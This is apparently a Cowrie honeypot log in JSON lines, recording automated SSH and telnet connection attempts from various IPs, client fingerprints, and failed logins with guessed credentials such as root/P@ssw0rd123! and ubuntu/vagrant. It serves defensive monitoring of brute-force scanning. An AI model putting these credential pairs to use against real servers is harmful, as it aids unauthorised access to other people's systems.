{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3b:ff:4e:6c:c2:ca:c4:f5:06:5b:ce:b2:92:7c:39:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCcXZTO6tAK57NsdwI7Ko8hPlb5dlG7FP/VrzW21SDKMUGY+iGTvqLEKWrUpsJrwSZ5mJwgDDgYK2gkCcvxiVTom/oUEDqP3EvIw9B8vQWdo+BKjcRVuJZv7mJiEFYSA/I1h5PWuloEOnQk6ppM1svYn5IUvsl6mFYUq776i/MAXeYzboOzwVKijCFFwrKhpZohpv6mp7YKCYrIM4ibcEUidJMf6DpwZrskThT1C7oLeMY0BTlj50yfUlJcPHoigNtTUWk/fZ4kdFpAnUnuAqMCQG1PiJ+yBrY2lIJQ485TBvoztTJwjXvyznytfdCR6d7PWP5iVV1fUapDj+Y0Pg9s58J3SFZGRms3h7luT6VnovQHriBHCZd6caNLPYG/w+RO1oYX2lfMbwXABrR6x1trKnYvwgfTe9CksP1a1+j+WeZCwXGSotxxtKnhxLR+CVsOb9UH5RgK543B+it7UCsCxtDeVptkDmA1544+r//D6B+4fgkLqLDVjiJsgyFs89E=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3b:ff:4e:6c:c2:ca:c4:f5:06:5b:ce:b2:92:7c:39:57","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:04:20.922940Z","src_ip":"142.171.149.114","session":"4985fc1c9b35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3b:ff:4e:6c:c2:ca:c4:f5:06:5b:ce:b2:92:7c:39:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCcXZTO6tAK57NsdwI7Ko8hPlb5dlG7FP/VrzW21SDKMUGY+iGTvqLEKWrUpsJrwSZ5mJwgDDgYK2gkCcvxiVTom/oUEDqP3EvIw9B8vQWdo+BKjcRVuJZv7mJiEFYSA/I1h5PWuloEOnQk6ppM1svYn5IUvsl6mFYUq776i/MAXeYzboOzwVKijCFFwrKhpZohpv6mp7YKCYrIM4ibcEUidJMf6DpwZrskThT1C7oLeMY0BTlj50yfUlJcPHoigNtTUWk/fZ4kdFpAnUnuAqMCQG1PiJ+yBrY2lIJQ485TBvoztTJwjXvyznytfdCR6d7PWP5iVV1fUapDj+Y0Pg9s58J3SFZGRms3h7luT6VnovQHriBHCZd6caNLPYG/w+RO1oYX2lfMbwXABrR6x1trKnYvwgfTe9CksP1a1+j+WeZCwXGSotxxtKnhxLR+CVsOb9UH5RgK543B+it7UCsCxtDeVptkDmA1544+r//D6B+4fgkLqLDVjiJsgyFs89E=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:04:20.926580Z","src_ip":"142.171.149.114","session":"4985fc1c9b35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:04:20.996005Z","src_ip":"142.171.149.114","session":"4985fc1c9b35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":34856,"dst_ip":"10.17.0.5","dst_port":22,"session":"552e83816baf","protocol":"ssh","message":"New connection: 103.15.226.202:34856 (10.17.0.5:22) [session: 552e83816baf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:04:21.054360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:04:21.059681Z","src_ip":"103.15.226.202","session":"552e83816baf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:04:21.310624Z","src_ip":"103.15.226.202","session":"552e83816baf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd123!","message":"login attempt [root/P@ssw0rd123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:04:22.064541Z","src_ip":"103.15.226.202","session":"552e83816baf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:04:23.318677Z","src_ip":"103.15.226.202","session":"552e83816baf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":54888,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7f23a2dd7c9","protocol":"ssh","message":"New connection: 87.106.29.151:54888 (10.17.0.5:22) [session: c7f23a2dd7c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:04:44.106409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:04:44.115077Z","src_ip":"87.106.29.151","session":"c7f23a2dd7c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:04:44.210159Z","src_ip":"87.106.29.151","session":"c7f23a2dd7c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"1234567","message":"login attempt [ftpuser/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:04:44.618379Z","src_ip":"87.106.29.151","session":"c7f23a2dd7c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:04:45.718767Z","src_ip":"87.106.29.151","session":"c7f23a2dd7c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":45996,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bb62622801d","protocol":"ssh","message":"New connection: 2.57.122.208:45996 (159.203.135.109:22) [session: 7bb62622801d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:04:53.988927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:04:54.024589Z","src_ip":"2.57.122.208","session":"7bb62622801d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:04:54.132784Z","src_ip":"2.57.122.208","session":"7bb62622801d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:04:54.856846Z","src_ip":"2.57.122.208","session":"7bb62622801d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:04:56.130635Z","src_ip":"2.57.122.208","session":"7bb62622801d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.953470945358276,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:05:10.303941Z","src_ip":"212.55.149.117","session":"941510f16edc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":61.01729607582092,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:05:11.625986Z","src_ip":"212.55.149.117","session":"ba0b7aea1cd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.82.144.240","src_port":50418,"dst_ip":"159.203.135.109","dst_port":22,"session":"20dee63d286d","protocol":"ssh","message":"New connection: 20.82.144.240:50418 (159.203.135.109:22) [session: 20dee63d286d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:05:13.271564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:05:13.276657Z","src_ip":"20.82.144.240","session":"20dee63d286d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:05:13.346730Z","src_ip":"20.82.144.240","session":"20dee63d286d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"vagrant","message":"login attempt [ubuntu/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:05:13.646463Z","src_ip":"20.82.144.240","session":"20dee63d286d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:05:14.718692Z","src_ip":"20.82.144.240","session":"20dee63d286d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.158.150","src_port":54578,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccbd2dc4bb15","protocol":"ssh","message":"New connection: 138.124.158.150:54578 (10.17.0.5:22) [session: ccbd2dc4bb15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:05:25.791050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:05:25.796370Z","src_ip":"138.124.158.150","session":"ccbd2dc4bb15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:05:25.968444Z","src_ip":"138.124.158.150","session":"ccbd2dc4bb15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server2023#","message":"login attempt [root/server2023#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:05:26.678428Z","src_ip":"138.124.158.150","session":"ccbd2dc4bb15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:05:27.851311Z","src_ip":"138.124.158.150","session":"ccbd2dc4bb15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":45868,"dst_ip":"10.17.0.5","dst_port":22,"session":"1eefae4ef18b","protocol":"ssh","message":"New connection: 87.106.29.151:45868 (10.17.0.5:22) [session: 1eefae4ef18b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:05:36.063466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:05:36.068658Z","src_ip":"87.106.29.151","session":"1eefae4ef18b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:05:36.162590Z","src_ip":"87.106.29.151","session":"1eefae4ef18b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"testtest","message":"login attempt [ubuntu/testtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:05:36.588316Z","src_ip":"87.106.29.151","session":"1eefae4ef18b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:05:37.691389Z","src_ip":"87.106.29.151","session":"1eefae4ef18b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.181.85","src_port":62734,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d462c7846f5","protocol":"ssh","message":"New connection: 130.12.181.85:62734 (10.17.0.5:22) [session: 0d462c7846f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:05:48.813002Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:05:48.817707Z","src_ip":"130.12.181.85","session":"0d462c7846f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.181.85","src_port":62748,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef0457300a65","protocol":"ssh","message":"New connection: 130.12.181.85:62748 (10.17.0.5:22) [session: ef0457300a65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:05:48.943479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:05:48.949393Z","src_ip":"130.12.181.85","session":"ef0457300a65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:05:49.054685Z","src_ip":"130.12.181.85","session":"ef0457300a65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456789","message":"login attempt [admin/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:05:49.263184Z","src_ip":"130.12.181.85","session":"ef0457300a65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:05:50.369885Z","src_ip":"130.12.181.85","session":"ef0457300a65","protocol":"ssh"}
